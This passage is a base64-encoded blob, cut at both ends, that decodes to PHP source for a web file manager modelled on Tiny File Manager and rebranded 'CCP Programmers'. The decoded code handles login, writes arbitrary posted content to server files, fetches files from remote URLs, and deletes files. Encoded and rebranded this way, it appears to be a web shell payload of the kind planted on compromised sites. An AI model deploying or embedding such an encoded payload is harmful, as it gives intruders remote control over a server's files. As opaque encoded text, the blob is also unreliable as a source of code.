3dvcmRcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIGlkPVwiZm1fcHdkXCIgbmFtZT1cImZtX3B3ZFwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGZtX3Nob3dfbWVzc2FnZSgpOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gaHRtbGVudGl0aWVzKCRfU0VTU0lPTlsndG9rZW4nXSk7ID8+XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1zdWNjZXNzIGJ0bi1ibG9jayB3LTEwMCBtdC00XCIgcm9sZT1cImJ1dHRvblwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnTG9naW4nKTsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZvb3RlciB0ZXh0LWNlbnRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICZtZGFzaDsmbWRhc2g7ICZjb3B5O1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJodHRwczpcL1wvdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pb1wvXCIgdGFyZ2V0PVwiX2JsYW5rXCIgY2xhc3M9XCJ0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LW11dGVkXCIgZGF0YS12ZXJzaW9uPVwiPD9waHAgZWNobyBWRVJTSU9OOyA/PlwiPkNDUCBQcm9ncmFtbWVyczxcL2E+ICZtZGFzaDsmbWRhc2g7XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgIDxcL3NlY3Rpb24+XG5cbiAgICA8P3BocFxuICAgICAgICBmbV9zaG93X2Zvb3Rlcl9sb2dpbigpO1xuICAgICAgICBleGl0O1xuICAgIH1cbn1cblxuaWYgKCR1c2VfYXV0aCAmJiBpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSkge1xuICAgICRyb290X3BhdGggPSBpc3NldCgkZGlyZWN0b3JpZXNfdXNlcnNbJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXV0pID8gJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dIDogJHJvb3RfcGF0aDtcbn1cblxuJHJvb3RfcGF0aCA9IHJ0cmltKCRyb290X3BhdGgsICdcXFxcXC8nKTtcbiRyb290X3BhdGggPSBzdHJfcmVwbGFjZSgnXFxcXCcsICdcLycsICRyb290X3BhdGgpO1xuaWYgKCFAaXNfZGlyKCRyb290X3BhdGgpKSB7XG4gICAgZWNobyBcIjxoMT5cIiAuIGxuZygnUm9vdCBwYXRoJykgLiBcIiBcXFwieyRyb290X3BhdGh9XFxcIiBcIiAuIGxuZygnbm90IGZvdW5kIScpIC4gXCIgPFwvaDE+XCI7XG4gICAgZXhpdDtcbn1cblxuZGVmaW5lZCgnRk1fU0hPV19ISURERU4nKSB8fCBkZWZpbmUoJ0ZNX1NIT1dfSElEREVOJywgJHNob3dfaGlkZGVuX2ZpbGVzKTtcbmRlZmluZWQoJ0ZNX1JPT1RfUEFUSCcpIHx8IGRlZmluZSgnRk1fUk9PVF9QQVRIJywgJHJvb3RfcGF0aCk7XG5kZWZpbmVkKCdGTV9MQU5HJykgfHwgZGVmaW5lKCdGTV9MQU5HJywgJGxhbmcpO1xuZGVmaW5lZCgnRk1fRklMRV9FWFRFTlNJT04nKSB8fCBkZWZpbmUoJ0ZNX0ZJTEVfRVhURU5TSU9OJywgJGFsbG93ZWRfZmlsZV9leHRlbnNpb25zKTtcbmRlZmluZWQoJ0ZNX1VQTE9BRF9FWFRFTlNJT04nKSB8fCBkZWZpbmUoJ0ZNX1VQTE9BRF9FWFRFTlNJT04nLCAkYWxsb3dlZF91cGxvYWRfZXh0ZW5zaW9ucyk7XG5kZWZpbmVkKCdGTV9FWENMVURFX0lURU1TJykgfHwgZGVmaW5lKCdGTV9FWENMVURFX0lURU1TJywgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzcuMC4wJywgJzwnKSA/IHNlcmlhbGl6ZSgkZXhjbHVkZV9pdGVtcykgOiAkZXhjbHVkZV9pdGVtcykpO1xuZGVmaW5lZCgnRk1fRE9DX1ZJRVdFUicpIHx8IGRlZmluZSgnRk1fRE9DX1ZJRVdFUicsICRvbmxpbmVfdmlld2VyKTtcbmRlZmluZSgnRk1fUkVBRE9OTFknLCAkZ2xvYmFsX3JlYWRvbmx5IHx8ICgkdXNlX2F1dGggJiYgIWVtcHR5KCRyZWFkb25seV91c2VycykgJiYgaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSkgJiYgaW5fYXJyYXkoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSwgJHJlYWRvbmx5X3VzZXJzKSkpO1xuZGVmaW5lKCdGTV9JU19XSU4nLCBESVJFQ1RPUllfU0VQQVJBVE9SID09ICdcXFxcJyk7XG5cbmlmICghaXNzZXQoJF9HRVRbJ3AnXSkgJiYgZW1wdHkoJF9GSUxFUykpIHtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTtcbn1cblxuJHAgPSBpc3NldCgkX0dFVFsncCddKSA/ICRfR0VUWydwJ10gOiAoaXNzZXQoJF9QT1NUWydwJ10pID8gJF9QT1NUWydwJ10gOiAnJyk7XG5cbiRwID0gZm1fY2xlYW5fcGF0aCgkcCk7XG5cbiRpbnB1dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6XC9cL2lucHV0Jyk7XG4kX1BPU1QgPSAoc3RycG9zKCRpbnB1dCwgJ2FqYXgnKSAhPSBGQUxTRSAmJiBzdHJwb3MoJGlucHV0LCAnc2F2ZScpICE9IEZBTFNFKSA/IGpzb25fZGVjb2RlKCRpbnB1dCwgdHJ1ZSkgOiAkX1BPU1Q7XG5cbmRlZmluZSgnRk1fUEFUSCcsICRwKTtcbmRlZmluZSgnRk1fVVNFX0FVVEgnLCAkdXNlX2F1dGgpO1xuZGVmaW5lKCdGTV9FRElUX0ZJTEUnLCAkZWRpdF9maWxlcyk7XG5kZWZpbmVkKCdGTV9JQ09OVl9JTlBVVF9FTkMnKSB8fCBkZWZpbmUoJ0ZNX0lDT05WX0lOUFVUX0VOQycsICRpY29udl9pbnB1dF9lbmNvZGluZyk7XG5kZWZpbmVkKCdGTV9VU0VfSElHSExJR0hUSlMnKSB8fCBkZWZpbmUoJ0ZNX1VTRV9ISUdITElHSFRKUycsICR1c2VfaGlnaGxpZ2h0anMpO1xuZGVmaW5lZCgnRk1fSElHSExJR0hUSlNfU1RZTEUnKSB8fCBkZWZpbmUoJ0ZNX0hJR0hMSUdIVEpTX1NUWUxFJywgJGhpZ2hsaWdodGpzX3N0eWxlKTtcbmRlZmluZWQoJ0ZNX0RBVEVUSU1FX0ZPUk1BVCcpIHx8IGRlZmluZSgnRk1fREFURVRJTUVfRk9STUFUJywgJGRhdGV0aW1lX2Zvcm1hdCk7XG5cbnVuc2V0KCRwLCAkdXNlX2F1dGgsICRpY29udl9pbnB1dF9lbmNvZGluZywgJHVzZV9oaWdobGlnaHRqcywgJGhpZ2hsaWdodGpzX3N0eWxlKTtcblxuXG5pZiAoKGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10sICRhdXRoX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSB8fCAhRk1fVVNFX0FVVEgpICYmIGlzc2V0KCRfUE9TVFsnYWpheCddLCAkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGhlYWRlcignSFRUUFwvMS4wIDQwMSBVbmF1dGhvcml6ZWQnKTtcbiAgICAgICAgZGllKFwiSW52YWxpZCBUb2tlbi5cIik7XG4gICAgfVxuXG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSBcInNlYXJjaFwiKSB7XG4gICAgICAgICRkaXIgPSAkX1BPU1RbJ3BhdGgnXSA9PSBcIi5cIiA/ICcnIDogJF9QT1NUWydwYXRoJ107XG4gICAgICAgICRyZXNwb25zZSA9IHNjYW4oZm1fY2xlYW5fcGF0aCgkZGlyKSwgJF9QT1NUWydjb250ZW50J10pO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICBpZihGTV9SRUFET05MWSl7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICBpZiAoaXNzZXQoJF9QT1NUWyd0eXBlJ10pICYmICRfUE9TVFsndHlwZSddID09IFwic2F2ZVwiKSB7XG4gICAgICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgICAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCFpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTtcbiAgICAgICAgfVxuICAgICAgICAkZmlsZSA9ICRfR0VUWydlZGl0J107XG4gICAgICAgICRmaWxlID0gZm1fY2xlYW5fcGF0aCgkZmlsZSk7XG4gICAgICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsICRmaWxlKTtcbiAgICAgICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpO1xuICAgICAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgICAgICB9XG4gICAgICAgIGhlYWRlcignWC1YU1MtUHJvdGVjdGlvbjowJyk7XG4gICAgICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICAgICAkd3JpdGVkYXRhID0gJF9QT1NUWydjb250ZW50J107XG4gICAgICAgICRmZCA9IGZvcGVuKCRmaWxlX3BhdGgsIFwid1wiKTtcbiAgICAgICAgJHdyaXRlX3Jlc3VsdHMgPSBAZndyaXRlKCRmZCwgJHdyaXRlZGF0YSk7XG4gICAgICAgIGZjbG9zZSgkZmQpO1xuICAgICAgICBpZiAoJHdyaXRlX3Jlc3VsdHMgPT09IGZhbHNlKSB7XG4gICAgICAgICAgICBoZWFkZXIoXCJIVFRQXC8xLjEgNTAwIEludGVybmFsIFNlcnZlciBFcnJvclwiKTtcbiAgICAgICAgICAgIGRpZShcIkNvdWxkIE5vdCBXcml0ZSBGaWxlISAtIENoZWNrIFBlcm1pc3Npb25zIFwvIE93bmVyc2hpcFwiKTtcbiAgICAgICAgfVxuICAgICAgICBkaWUodHJ1ZSk7XG4gICAgfVxuXG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSBcImJhY2t1cFwiICYmICFlbXB0eSgkX1BPU1RbJ2ZpbGUnXSkpIHtcbiAgICAgICAgJGZpbGVOYW1lID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ2ZpbGUnXSk7XG4gICAgICAgICRmdWxsUGF0aCA9IEZNX1JPT1RfUEFUSCAuICdcLyc7XG4gICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwYXRoJ10pKSB7XG4gICAgICAgICAgICAkcmVsYXRpdmVEaXJQYXRoID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ3BhdGgnXSk7XG4gICAgICAgICAgICAkZnVsbFBhdGggLj0gXCJ7JHJlbGF0aXZlRGlyUGF0aH1cL1wiO1xuICAgICAgICB9XG4gICAgICAgICRkYXRlID0gZGF0ZShcImRNeS1IaXNcIik7XG4gICAgICAgICRuZXdGaWxlTmFtZSA9IFwieyRmaWxlTmFtZX0teyRkYXRlfS5iYWtcIjtcbiAgICAgICAgJGZ1bGx5UXVhbGlmaWVkRmlsZU5hbWUgPSAkZnVsbFBhdGggLiAkZmlsZU5hbWU7XG4gICAgICAgIHRyeSB7XG4gICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRmdWxseVF1YWxpZmllZEZpbGVOYW1lKSkge1xuICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oXCJGaWxlIHskZmlsZU5hbWV9IG5vdCBmb3VuZFwiKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGlmIChjb3B5KCRmdWxseVF1YWxpZmllZEZpbGVOYW1lLCAkZnVsbFBhdGggLiAkbmV3RmlsZU5hbWUpKSB7XG4gICAgICAgICAgICAgICAgZWNobyBcIkJhY2t1cCB7JG5ld0ZpbGVOYW1lfSBjcmVhdGVkXCI7XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oXCJDb3VsZCBub3QgY29weSBmaWxlIHskZmlsZU5hbWV9XCIpO1xuICAgICAgICAgICAgfVxuICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgIGVjaG8gJGUtPmdldE1lc3NhZ2UoKTtcbiAgICAgICAgfVxuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJzZXR0aW5nc1wiKSB7XG4gICAgICAgIGdsb2JhbCAkY2ZnLCAkbGFuZywgJHJlcG9ydF9lcnJvcnMsICRzaG93X2hpZGRlbl9maWxlcywgJGxhbmdfbGlzdCwgJGhpZGVfQ29scywgJHRoZW1lO1xuICAgICAgICAkbmV3TG5nID0gJF9QT1NUWydqcy1sYW5ndWFnZSddO1xuICAgICAgICBmbV9nZXRfdHJhbnNsYXRpb25zKFtdKTtcbiAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRuZXdMbmcsICRsYW5nX2xpc3QpKSB7XG4gICAgICAgICAgICAkbmV3TG5nID0gJ2VuJztcbiAgICAgICAgfVxuXG4gICAgICAgICRlcnAgPSBpc3NldCgkX1BPU1RbJ2pzLWVycm9yLXJlcG9ydCddKSAmJiAkX1BPU1RbJ2pzLWVycm9yLXJlcG9ydCddID09IFwidHJ1ZVwiID8gdHJ1ZSA6IGZhbHNlO1xuICAgICAgICAkc2hmID0gaXNzZXQoJF9QT1NUWydqcy1zaG93LWhpZGRlbiddKSAmJiAkX1BPU1RbJ2pzLXNob3ctaGlkZGVuJ10gPT0gXCJ0cnVlXCIgPyB0cnVlIDogZmFsc2U7XG4gICAgICAgICRoY28gPSBpc3NldCgkX1BPU1RbJ2pzLWhpZGUtY29scyddKSAmJiAkX1BPU1RbJ2pzLWhpZGUtY29scyddID09IFwidHJ1ZVwiID8gdHJ1ZSA6IGZhbHNlO1xuICAgICAgICAkdGUzID0gJF9QT1NUWydqcy10aGVtZS0zJ107XG5cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ2xhbmcnXSAhPSAkbmV3TG5nKSB7XG4gICAgICAgICAgICAkY2ZnLT5kYXRhWydsYW5nJ10gPSAkbmV3TG5nO1xuICAgICAgICAgICAgJGxhbmcgPSAkbmV3TG5nO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSAhPSAkZXJwKSB7XG4gICAgICAgICAgICAkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSA9ICRlcnA7XG4gICAgICAgICAgICAkcmVwb3J0X2Vycm9ycyA9ICRlcnA7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gIT0gJHNoZikge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsnc2hvd19oaWRkZW4nXSA9ICRzaGY7XG4gICAgICAgICAgICAkc2hvd19oaWRkZW5fZmlsZXMgPSAkc2hmO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddICE9ICRzaGYpIHtcbiAgICAgICAgICAgICRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gPSAkc2hmO1xuICAgICAgICAgICAgJHNob3dfaGlkZGVuX2ZpbGVzID0gJHNoZjtcbiAgICAgICAgfVxuICAgICAgICBpZiAoJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gIT0gJGhjbykge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gPSAkaGNvO1xuICAgICAgICAgICAgJGhpZGVfQ29scyA9ICRoY287XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ3RoZW1lJ10gIT0gJHRlMykge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsndGhlbWUnXSA9ICR0ZTM7XG4gICAgICAgICAgICAkdGhlbWUgPSAkdGUzO1xuICAgICAgICB9XG4gICAgICAgICRjZmctPnNhdmUoKTtcbiAgICAgICAgZWNobyB0cnVlO1xuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJwd2RoYXNoXCIpIHtcbiAgICAgICAgJHJlcyA9IGlzc2V0KCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSkgJiYgIWVtcHR5KCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSkgPyBwYXNzd29yZF9oYXNoKCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSwgUEFTU1dPUkRfREVGQVVMVCkgOiAnJztcbiAgICAgICAgZWNobyAkcmVzO1xuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJ1cGxvYWRcIiAmJiAhZW1wdHkoJF9SRVFVRVNUW1widXBsb2FkdXJsXCJdKSkge1xuICAgICAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgICAgICB9XG5cbiAgICAgICAgZnVuY3Rpb24gZXZlbnRfY2FsbGJhY2soJG1lc3NhZ2UpXG4gICAgICAgIHtcbiAgICAgICAgICAgIGdsb2JhbCAkY2FsbGJhY2s7XG4gICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRtZXNzYWdlKTtcbiAgICAgICAgfVxuXG4gICAgICAgIGZ1bmN0aW9uIGdldF9maWxlX3BhdGgoKVxuICAgICAgICB7XG4gICAgICAgICAgICBnbG9iYWwgJHBhdGgsICRmaWxlaW5mbywgJHRlbXBfZmlsZTtcbiAgICAgICAgICAgIHJldHVybiAkcGF0aCAuIFwiXC9cIiAuIGJhc2VuYW1lKCRmaWxlaW5mby0+bmFtZSk7XG4gICAgICAgIH1cblxuICAgICAgICAkdXJsID0gIWVtcHR5KCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkgJiYgcHJlZ19tYXRjaChcInxeaHR0cChzKT86XC9cLy4rJHxcIiwgc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkpID8gc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkgOiBudWxsO1xuXG4gICAgICAgICRkb21haW4gPSBwYXJzZV91cmwoJHVybCwgUEhQX1VSTF9IT1NUKTtcbiAgICAgICAgJHBvcnQgPSBwYXJzZV91cmwoJHVybCwgUEhQX1VSTF9QT1JUKTtcbiAgICAgICAgJGtub3duUG9ydHMgPSBbMjIsIDIzLCAyNSwgMzMwNl07XG5cbiAgICAgICAgaWYgKHByZWdfbWF0Y2goXCJcL15sb2NhbGhvc3QkfF4xMjcoPzpcXC5bMC05XSspezAsMn1cXC5bMC05XSskfF4oPzowKlxcOikqPzo/MCoxJFwvaVwiLCAkZG9tYWluKSB8fCBpbl9hcnJheSgkcG9ydCwgJGtub3duUG9ydHMpKSB7XG4gICAgICAgICAgICAkZXJyID0gYXJyYXkoXCJtZXNzYWdlXCIgPT4gXCJVUkwgaXMgbm90IGFsbG93ZWRcIik7XG4gICAgICAgICAgICBldmVudF9jYWxsYmFjayhhcnJheShcImZhaWxcIiA9PiAkZXJyKSk7XG4gICAgICAgICAgICBleGl0KCk7XG4gICAgICAgIH1cblxuICAgICAgICAkdXNlX2N1cmwgPSBmYWxzZTtcbiAgICAgICAgJHRlbXBfZmlsZSA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCBcInVwbG9hZC1cIik7XG4gICAgICAgICRmaWxlaW5mbyA9IG5ldyBzdGRDbGFzcygpO1xuICAgICAgICAkZmlsZWluZm8tPm5hbWUgPSB0cmltKHVybGRlY29kZShiYXNlbmFtZSgkdXJsKSksIFwiLlxceDAwLi5cXHgyMFwiKTtcblxuICAgICAgICAkYWxsb3dlZCA9IChGTV9VUExPQURfRVhURU5TSU9OKSA/IGV4cGxvZGUoJywnLCBGTV9VUExPQURfRVhURU5TSU9OKSA6IGZhbHNlO1xuICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZWluZm8tPm5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTikpO1xuICAgICAgICAkaXNGaWxlQWxsb3dlZCA9ICgkYWxsb3dlZCkgPyBpbl9hcnJheSgkZXh0LCAkYWxsb3dlZCkgOiB0cnVlO1xuXG4gICAgICAgICRlcnIgPSBmYWxzZTtcblxuICAgICAgICBpZiAoISRpc0ZpbGVBbGxvd2VkKSB7XG4gICAgICAgICAgICAkZXJyID0gYXJyYXkoXCJtZXNzYWdlXCIgPT4gXCJGaWxlIGV4dGVuc2lvbiBpcyBub3QgYWxsb3dlZFwiKTtcbiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KFwiZmFpbFwiID0+ICRlcnIpKTtcbiAgICAgICAgICAgIGV4aXQoKTtcbiAgICAgICAgfVxuXG4gICAgICAgIGlmICghJHVybCkge1xuICAgICAgICAgICAgJHN1Y2Nlc3MgPSBmYWxzZTtcbiAgICAgICAgfSBlbHNlIGlmICgkdXNlX2N1cmwpIHtcbiAgICAgICAgICAgIEAkZnAgPSBmb3BlbigkdGVtcF9maWxlLCBcIndcIik7XG4gICAgICAgICAgICBAJGNoID0gY3VybF9pbml0KCR1cmwpO1xuICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX05PUFJPR1JFU1MsIGZhbHNlKTtcbiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgdHJ1ZSk7XG4gICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRklMRSwgJGZwKTtcbiAgICAgICAgICAgIEAkc3VjY2VzcyA9IGN1cmxfZXhlYygkY2gpO1xuICAgICAgICAgICAgJGN1cmxfaW5mbyA9IGN1cmxfZ2V0aW5mbygkY2gpO1xuICAgICAgICAgICAgaWYgKCEkc3VjY2Vzcykge1xuICAgICAgICAgICAgICAgICRlcnIgPSBhcnJheShcIm1lc3NhZ2VcIiA9PiBjdXJsX2Vycm9yKCRjaCkpO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgQGN1cmxfY2xvc2UoJGNoKTtcbiAgICAgICAgICAgIGZjbG9zZSgkZnApO1xuICAgICAgICAgICAgJGZpbGVpbmZvLT5zaXplID0gJGN1cmxfaW5mb1tcInNpemVfZG93bmxvYWRcIl07XG4gICAgICAgICAgICAkZmlsZWluZm8tPnR5cGUgPSAkY3VybF9pbmZvW1wiY29udGVudF90eXBlXCJdO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgJGN0eCA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgpO1xuICAgICAgICAgICAgQCRzdWNjZXNzID0gY29weSgkdXJsLCAkdGVtcF9maWxlLCAkY3R4KTtcbiAgICAgICAgICAgIGlmICghJHN1Y2Nlc3MpIHtcbiAgICAgICAgICAgICAgICAkZXJyID0gZXJyb3JfZ2V0X2xhc3QoKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuXG4gICAgICAgIGlmICgkc3VjY2Vzcykge1xuICAgICAgICAgICAgJHN1Y2Nlc3MgPSByZW5hbWUoJHRlbXBfZmlsZSwgc3RydG9rKGdldF9maWxlX3BhdGgoKSwgJz8nKSk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHN1Y2Nlc3MpIHtcbiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KFwiZG9uZVwiID0+ICRmaWxlaW5mbykpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgdW5saW5rKCR0ZW1wX2ZpbGUpO1xuICAgICAgICAgICAgaWYgKCEkZXJyKSB7XG4gICAgICAgICAgICAgICAgJGVyciA9IGFycmF5KFwibWVzc2FnZVwiID0+IFwiSW52YWxpZCB1cmwgcGFyYW1ldGVyXCIpO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgZXZlbnRfY2FsbGJhY2soYXJyYXkoXCJmYWlsXCIgPT4gJGVycikpO1xuICAgICAgICB9XG4gICAgfVxuICAgIGV4aXQoKTtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydkZWwnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICAkZGVsID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsIGZtX2NsZWFuX3BhdGgoJF9HRVRbJ2RlbCddKSk7XG4gICAgaWYgKCRkZWwgIT0gJycgJiYgJGRlbCAhPSAnLi4nICYmICRkZWwgIT0gJy4nICYmIHZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICAgICAgfVxuICAgICAgICAkaXNfZGlyID0gaXNfZGlyKCRwYXRoIC4gJ1wvJyAuICRkZWwpO1xuICAgICAgICBpZiAoZm1fcmRlbGV0ZSgkcGF0aCAuICdcLycgLiAkZGVsKSkge1xuICAgICAgICAgICAgJG1zZyA9ICRpc19kaXIgPyBsbmcoJ0ZvbGRlcicpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0RlbGV0ZWQnKSA6IGxuZygnRmlsZScpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0RlbGV0ZWQnKTtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZigkbXNnLCBmbV9lbmMoJGRlbCkpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAkaXNfZGlyID8gbG5nKCdGb2xkZXInKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCdub3QgZGVsZXRlZCcpIDogbG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnbm90IGRlbGV0ZWQnKTtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZigkbXNnLCBmbV9lbmMoJGRlbCkpLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIGZpbGUgb3IgZm9sZGVyIG